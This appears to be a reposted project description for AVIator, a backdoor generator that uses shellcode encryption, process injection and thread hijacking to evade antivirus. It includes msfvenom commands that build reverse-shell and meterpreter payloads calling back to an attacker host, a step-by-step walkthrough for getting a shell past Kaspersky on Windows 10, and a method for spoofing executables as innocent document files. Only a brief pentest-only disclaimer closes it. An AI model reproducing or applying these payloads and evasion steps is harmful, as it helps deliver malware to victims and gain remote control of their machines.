AVIator – Antivirus Evasion Project



AviAtor Ported to NETCore 5 with an updated UI

About://name

AV: AntiVirus

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

In simple words, spoof an executable file to look like having an “innocent” extention like ‘pdf’, ‘txt’ etc. E.g. the file “testcod.exe” will be interpreted as “tesexe.doc”

Beware of the fact that some AVs alert the spoof by its own as a malware.

I guess you all know what it is 🙂

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Create the payload using msfvenom

msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

Use AVIator with the following settings

Target OS architecture: x64

Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

Target procedure: explorer (leave the default)

Set the listener on the attacker machine

Run the generated exe on the victim machine

Windows:

Either compile the project or download the allready compiled executable from the following folder:

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

To Damon Mohammadbagher for the encryption procedure

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.

source


CyberTelugu

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